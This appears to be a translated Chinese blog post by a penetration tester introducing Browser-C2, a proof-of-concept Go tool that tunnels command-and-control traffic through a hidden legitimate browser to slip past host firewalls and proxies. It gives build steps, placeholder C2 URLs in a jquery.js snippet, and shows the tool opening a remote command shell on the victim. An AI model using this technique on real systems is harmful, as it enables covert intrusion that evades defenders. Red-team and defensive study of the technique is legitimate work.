Browser-C2使用合法浏览器进行命令和控制操作

介绍

近年来,公司开始变得更加安全。如果你能在一天之内“完成”你的笔试前5到6年,那么提高安全意识会让他们“更难”,更具挑战性。

这篇博文将描述我在参与过程中遇到的一些“挑战”,我如何解决它并将描述Browser-C2。

因此,想象一下获得初始立足点到枢轴点,但是您无法建立外部连接,因为每个端点都有严格的基于主机的防火墙策略,并且它们正在使用代理。我想到的第一件事就是他们使用某种基于主机的防火墙,因为即使在同一个子网上我也无法建立连接,因此策略基于应用程序。

为了验证我的理论,我通过我的支点执行了一个隐藏的浏览器窗口来访问特定的URL,然后我收到了回调。这意味着允许浏览器进行连接,我需要使用某种基于浏览器的通信。

起初我想,“好吧可能有一个工具来做到这一点”,但我错了。所以这就是一切都开始了,我最终编写了Browser-C2,这是一个使用legitemate浏览器进行命令和控制操作POC代码。

Browser-C2架构

Browser-C2架构非常简单。有两个要素。第一个是服务器,另一个是代理。

服务器将启动一个HTTP侦听器,它将等待来自“受害者”浏览器的回调和数据。

代理将在本地启动HTTP侦听器,并执行浏览器以连接到服务器。

所有通信都由客户端浏览器完成,并通过HTTP请求发送给代理。

架构如下:

Arch.png

此代码仍然是POC,并没有很好地实现。

还有很大的改进空间,例如(过滤代理名称中的输入,Access-Allow-Origin标头,加密支持,检查XMLHTTP请求是否成功等),所以在使用它之前请记住这一点。生产和继电100%。

Browser-C2演示

那么说话就让我们演示吧。

Browser-C2组件内置于Go。首先,您需要安装gorilla / muxchzyer / readline

在编译任何组件之前,您需要进行一些更改。

代理人

您需要首先在agent.go中配置C2Url以匹配您自己的C&C URL。

c2url.png

如果您只想允许一个特定URL访问代理HTTP服务器,请指定自定义Access-Control-Allow-Origin。

配置完上述信息后,可以通过运行编译代理

C:\Users\pwn\go\src\Browser-C2\agent > go build agent.go

服务器

您可以更改服务器上的默认选项,如侦听端口。同样在文件中jquery.js你需要更改

var url = "http://SERVER IP:8080/"; // URL of the Remote Endpoint
var local_url = "http://127.0.0.1:8081/"; // URL of the Agent Local Endpoint 

要编译服务器,请转到项目的主目录并:

C:\Users\pwn\go\src\Browser-C2 > go build

编译组件后,运行C2上的服务器和“受害者”机器中的代理。

在建立连接时,它将打印代理名称。您可以使用该use {AGENT NAME}命令连接到它在代理工作区后,它是远程系统的虚拟CMD。

向连接的代理程序执行命令的示例。

example.png

对于Browser-C2来说就是这样。正如我之前提到的,这段代码非常简洁,并且有很多方法可能会出错。希望你喜欢这篇短文。

发表评论 / Comment

用心评论~